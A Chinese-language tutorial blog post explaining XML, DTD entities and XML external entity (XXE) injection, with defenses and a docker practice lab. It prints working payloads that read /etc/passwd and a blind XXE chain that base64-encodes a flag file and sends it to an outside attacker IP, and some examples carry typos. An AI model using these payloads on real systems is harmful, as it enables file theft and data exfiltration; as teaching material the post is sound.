XXE-XML外部实体注入 漏洞详解

1.XML介绍:

XML

XML指可扩展标记语言(Extensible Markup Language)。XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。它在 HTML 之后开发,来弥补 HTML的不足。HTML 用于定义数据的展示,专注于它应该是什么样子。反之,XML 用于定义数据如何被组织。例如,HTML中,你的标签为<title>、<h1>、<tab1e>,<p>以及其它标签。这些东西都用于定,<h1>标签定义了标题,<table>标签按行和列展义内容如何展示。<title>用于定义页面的标题,示数据,并且<p>表示为简单文本。反之,XML没有预定义的标签。创建XML 文档的人可以定义它们自己的标签,来描述展示的内容。

例如这样:

XML语法规则

1.所有 XML 元素都须有关闭标签
2.XML 标签对大小写敏感。
3.XML 必须正确地嵌套。
4.XML 文档必须有根元素。
5.XML 的属性值须加引号

2.DTD介绍

DTD

DTD(文档类型定义)是一种用于定义 XML 文档结构和元素约束的方法。它可以描述一个 XML 文档的元素、属性、实体、注释等,从而规定了文档的结构和语法规则。DTD 通常是一个单独的文件,可以被多个 XML 文档所共享。

DTD 可在内部声明,也可作为一个外部引用。

(1)内部DTD声明

在 XML 中,可以将 DTD 声明嵌入到 XML 文档中,这被称为“内部 DTD 声明”。内部 DTD 声明位于 XML 文档的开头,使用元素进行声明。例如格式

<!DOCTYPE 根元素[元素声明]>

例子:

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE note[

<!ELEMENT note(to,from,heading,body)>

<!ELEMENT tO(#PCDATA)>

<!ELEMENT from(#PCDATA)>

<!ELEMENT heading(#PCDATA)>

<!ELEMENT body(#PCDATA)>

<note>

<to>Tove</to>

<from>Jani</from>

<heading>Reminder</heading>

<body>Don't forget me this weekend!</body>

</note>

这个例子中,元素包含一个内部 DTD 声明,它定义了 note 元素和它的子元素 to、from、eading、body 的规则。

#PCDATA

在XML中,#PCDATA是一个特殊的记号,表示“parsed character data”(已解析的字符数据)也就是文本内容。在XML文档中,元素可以包含文本内容,这些文本内容会被解析器解析为#PCDATA类型。

#PCDATA类型表示元素内容中包含的文本内容,并且可以包含任何字符(除了一些特殊的字符,如"”和”&"等,需要进行转义)。在XML中,#PCDATA类型的文本内容必须始终位于元素标签之间,不能包含其他元素或标记。

#CD ATA

在XML中,#CDATA是一个特殊的记号,表示“character data”(字符数据),也就是未解析的文本内容。与#PCDATA不同,#CDATA表示的文本内容不会被XML解析器解析,而是被视为纯文本。

在XML文档中,可以使用标记将文本内容标记为#CDATA类型,这样解析器就不会对这些文本内容进行解析。

(2)外部DTD声明

在 XML 中,可以将 DTD 声明作为一个单独的文件,并通过外部引用来在 XML 文档中使用,这被称为“外部 DTD 声明”。外部 DTD 声明通常包含在一个独立的文件中,它定义了 XML 文档中使用的元素、属性、实体等的规则。XML 文档中使用 DOCTYPE 声明来引用外部 DTD 文件。

格式

<!DOCTYPE 根元素 SYSTEM“文件名”>

比如:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>

在这个例子中,DOCTYPE 声明中的 SYSTEM“note.dtd”指定了使用外部 DTD 文件“note.dtd”。XML解析器会自动下载并解析该文件,并根据其中定义的规则验证 XML 文档的结构和语法正确性,

note.dtd的内容为:

<!ELEMENT note(to,from,heading,body)>
<!ELEMENT tO(#PCDATA)>
<!ELEMENT from(#PCDATA)>
<!ELEMENT heading(#PCDATA)>
<!ELEMENT body(#PCDATA)>

DTD实体

在 DTD(文档类型定义)中,实体是一种可被引用的数据类型,它可以用来代替特定的字符、字符串、符号等,从而使 DTD 更加灵活和易于维护。在 DTD 中,有两种类型的实体:内部实体和外部实体。

(1)内部实体

在 XML 中,内部实体(internal Entity)是指定义在 XML 内部的实体,它可以在 XML 文档中被引用和使用,从而提高了 XML 文档的可读性和可维护性。

·格式

<!ENTITY 实体名称“实体的值">

例子:

<!DOCTYPE note<!ENTITY author "John Smith">
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading><body>Hello &author;!</body></note>

在这个例子中,定义了一个名为“author”的内部实体,它的实际内容是“John Smith”。在 XML 文档中,通过使用“&author;"来引用该实体,并将其替换为实际内容。

(2)外部实体

在 XML 中,外部实体(External Entity)是指定义在 XML 外部的实体,它可以被引用到 XML 文档中,从而提高了 XML 文档的可重用性和可维护性。外部实体可以通过 DOCTYPE 声明中的 SYSTEM 和 PUBLIC 声明进行引用。其中,SYSTEM 声明指向了外部实体文件的位置,而 PUBLI 声明指定了外部实体的公共标识符(Public ldentifier),以便XML 处理器可以识别该实体。

格式

<!ENTITY 实体名称 SYSTEM"URI">

例子:

<!DOCTYPE note[
  <!ENTITY author SYSTEM "author.txt">
]>
<note>
  <to>Tove</to>
  <from>Jani</from>
  <heading>Reminder</heading>
  <body>Hello &author;!</body>
</note>

在这个例子中,定义了一个名为“author"的外部实体,它在一个名为“author.txt”的文件中定义。在XML 文档中,通过使用“&author;"来引用该实体,并将其替换为“author.txt"文件中的实际内容。

<!ENTITY 实体名称 PUBLIC"public ID""URI">

(3)通用实体

通用实体是一个可以在 XML 文档中引用和使用的文本片段,"它的语法格式为:

<!ENTITY entity-name "entity-value">

其中,entity-name 是实体的名称,entity-value 是实体的值。通用实体可以在 XML 文档中任何位置引用和使用,使用实体引用的方式引用该实体。

(4)参数实体

参数实体是一个特殊的实体,它只能在 DTD 中引用和使用,用于简化 DTD 的定义。参数实体的语法格式为:

<!ENTITY % entity-name "entity-value">

其中,entity-name 是参数实体的名称,entity-value 是参数实体的值。参数实体只能在 DTD 中引用和使用,使用“%”符号和实体名称的方式引用该实体。

实体引用

在 XML 中,实体引用(Entity Reference)是指使用“&”符号和实体名称来引用一个已经定义的实体。实体引用可以引用内部实体或外部实体,从而实现 XML 文档中的数据共享和重用。在 XML 中,有一些内置的实体引用,例如“<"代表小于号(<),“>”代表大于号(>),“&”代表和号(&),""代表单引号('),“"代表双引号(")。这些实体引用可以帮助我们避免 XML 中的语法错误和字符转义问题。

除了内置的实体引用之外,我们还可以自定义实体引用,以便在 XML 文档中共享和重用数据。在XML 中,实体引用有两种类型:内部实体引用和外部实体引用。

(1)引用内部实体

内部实体引用是指定义在 XML 内部的实体。例子:

<!DOCTYPE note [
<!ENTITY author:"John smith">
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Hello &author;!</body>
</note>

在这个例子中,定义了一个名为“author"的内部实体,它的实际内容是“John Smith"。在 XML 文档中,通过使用“&author;"来引用该实体,并将其替换为实际内容。

(2)引用外部实体

外部实体引用是指定义在 XML 外部的实体。

例子:

<!DOCTYPE note
<!ENTITY author SYSTEM "author.txt">
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Hello &author;!</body>
</note>

在这个例子中,定义了一个名为“author”的外部实体,它在一个名为“author.txt”的文件中定义。在XML 文档中,通过使用“&author;"来引用该实体,并将其替换为“author.txt”文件中的实际内容。

(3)引用参数实体

(1)使用 % 实体名(这里面空格不能少)在 DTD 中定义,并且只能在 DTD 中使用 %实体名;引用

(2)只有在 DTD 文件中,参数实体的声明才能引用其他实体

(3)和通用实体一样,参数实体也可以外部引用

示例代码:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE message
<!ENTITY % remote SYSTEM "http://IP:6666">
%remote;
]>
<message></message>

参数实体在我们 Blind XXE 中起到了至关重要的作用

(4)特殊符号

在XML中,一些字符拥有特殊的意义,如果把这些直接放进XML元素中会产生错误。比如下面这个插入了“<”符号,解析器会把它当作新元素的开始,就会产生错误。为了避免这个错误,我们可以用实体引用来替代这些特殊的字符。比如在XML中有5个预定义的实体引用:

3.XML外部实体注入

(1)漏洞原理

利用了XML解析器中的实体功能,向目标应用程序注入恶意实体。攻击者构造一个恶意XML文档,并在其中插入一个外部实体引用,引用指向一个攻击者控制的文件或URL。当目标应用程序解析恶意XML文档时,"它会尝试加载外部实体,并执行其中包含的代码或读取其中包含的数据。

(2)漏洞危害

当允许引用外部实体时,:通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

(3)如何构建外部实体注入

方式一:直接通过DTD外部实体声明

<?xml version="1.0"encoding="IS0-8859-1"?>
<!DOCTYPE foo
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><user><username>&xxe;</username><password>1234</password></user>

方式二:通过DTD文档引入外部DTD文档,再引入外部实体。

<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://120.27.61.239/evil.dtd">
<user><username>&xxe;</username><password>1234</password></user>

evil.dtd

<!ENTITY xxe SYSTEM "file:///etc/passwd">

以上任意文件读取能够成功,除了DTD可有引用外部实体外,还取决于有输出信息,即有回显。那么如果程序没有回显的情况下,该怎么读取文件内容呢?需要使用blind xxe漏洞去利用。

Blind XXE

<!DOCTYPE convert
<!ENTITY % remote SSTEM "http://139.9.198.30/test.dtd">
%remote;%int;%send;
]>
<user><username>1</username><password>2ad</password></user>

攻击者服务器test.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/tmp/fla8”>
<!ENTITY % int "<!ENTITY &#x25;send SSTEM 'http://139.9.198.30/?p=%file;'>">

注意:参数实体可以嵌套定义,但需要注意的是,内层的定义的参数实体%需要进行HTML转义,否则会出现解析错误。

实现流程:从 payload 中能看到连续调用了三个参数实体 %remote;%int;%send;,这就是利用先后顺序,%remote先引用,引入外部dtd(攻击服务器上的text.dtd),然后引用%int%int调用

test.dtd中定义的% int参数实体的值<!ENTITY &#x25;send SYSTEM'http://139.9.198.30/?p=%file;'>,%file再引入外部参数实体<!ENTITY % file SYSTEM"php://filter/read=convert.base64-encode/resource=/tmp/flag">,最后就是%send的弓用。

(4)漏洞发现

最直接的办法就是,检测那些接收 xm 作为输入内容的节点。但是很多时候,这些节点表面看来可能不是很明显,这个时候就需要借助 burp 抓包,通过修改不同的字段,如 http 请求方法、Content-Type 头部字段等,然后看看应用程序的响应是否解析了发送的内容,如果解析了,那么就有可能有 XXE 漏洞。

(5)EXCEL文档XXE

实际上,现代Excel文件实际上只是XML文档的zip文件。这称为0ffice Open XML格式或O0XML。许多应用程序允许上传文件。有些处理内部数据并采取相应的操作,这几乎肯定需要解析XML。如果解析器未安全配置,则XXE几乎是不可避免的。

(6)防御方法

1.禁用外部实体引用:禁用XML解析器中的外部实体引用,或者只允许引用受信任的实体。2.使用安全的XML解析器:使用安全的XML解析器,例如libxml2或SAX解析器,这些解析器已经默认禁用了外部实体引用。

3.过滤用户输入:对于从用户接收的XML数据,进行严格的输入验证和过滤,以防止恶意XML文件被解析。

4.漏洞靶场

docker pull betsy0/yjvul-xxe1
docker run -d -p 30003:80 --restart=always docker.io/betsy0/yjvul-xxe1
  • 20
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
XML外部实体注入漏洞XML External Entity Injection, 简称XXE)是一种常见的安全漏洞,攻击者可以利用这种漏洞来读取任意文件、执行系统命令等操作。 在XML文档中,可以通过定义实体来引用外部资源,例如文件、URL等。当XML解析器解析XML文档时,如果不对外部实体进行限制,攻击者可以通过构造恶意的XML文档,将外部实体指向敏感文件或者恶意URL,从而导致漏洞。 具体来说,攻击者可以在XML文档中定义一个实体,使用DTD(Document Type Definition)语法将该实体指向一个外部文件,然后在XML文档中使用该实体。当XML解析器解析该实体时,就会将指定的外部文件读取进来,从而导致漏洞。 例如,下面的XML文档定义了一个名为“file”的实体,指向了一个敏感文件“/etc/passwd”: ``` <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE message [ <!ELEMENT message (#PCDATA)> <!ENTITY file SYSTEM "file:///etc/passwd"> ]> <message>&file;</message> ``` 如果XML解析器不对外部实体进行限制,那么解析该文档时就会读取“/etc/passwd”文件的内容,并将其包含在<message>元素中返回给应用程序,从而导致敏感信息泄漏。 为了防止XXE漏洞,可以采取以下措施: 1. 禁止使用外部实体,或者限制外部实体的使用范围。可以在XML解析器中设置相关参数,例如禁止加载外部实体、禁止解析DTD等。 2. 对外部实体进行白名单过滤,只允许加载特定的URL或文件。 3. 检查输入数据,避免恶意输入注入XML文档中。 4. 对于持久化的XML数据,应该使用安全XML库来处理,例如使用DOM4J或JAXB等库,这些库会自动过滤掉外部实体
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

nuc_ddddsj

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值